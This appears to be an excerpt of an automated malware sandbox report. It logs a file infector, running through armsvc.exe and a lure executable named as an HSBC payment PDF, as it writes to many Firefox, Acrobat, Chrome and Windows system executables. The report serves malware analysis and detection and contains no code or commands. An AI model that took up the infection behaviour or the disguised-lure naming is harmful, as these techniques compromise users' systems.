Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior

Infects executable files (exe, dll, sys, html)

Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\appvcleaner.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\wbem\WmiApSrv.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Google\Chrome\Application\117.0.5938.132\chrome_pwa_launcher.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Google\Chrome\Application\117.0.5938.132\Installer\chrmstp.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\vds.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Google\Chrome\Application\117.0.5938.132\Installer\setup.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	System file written: C:\Windows\System32\alg.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
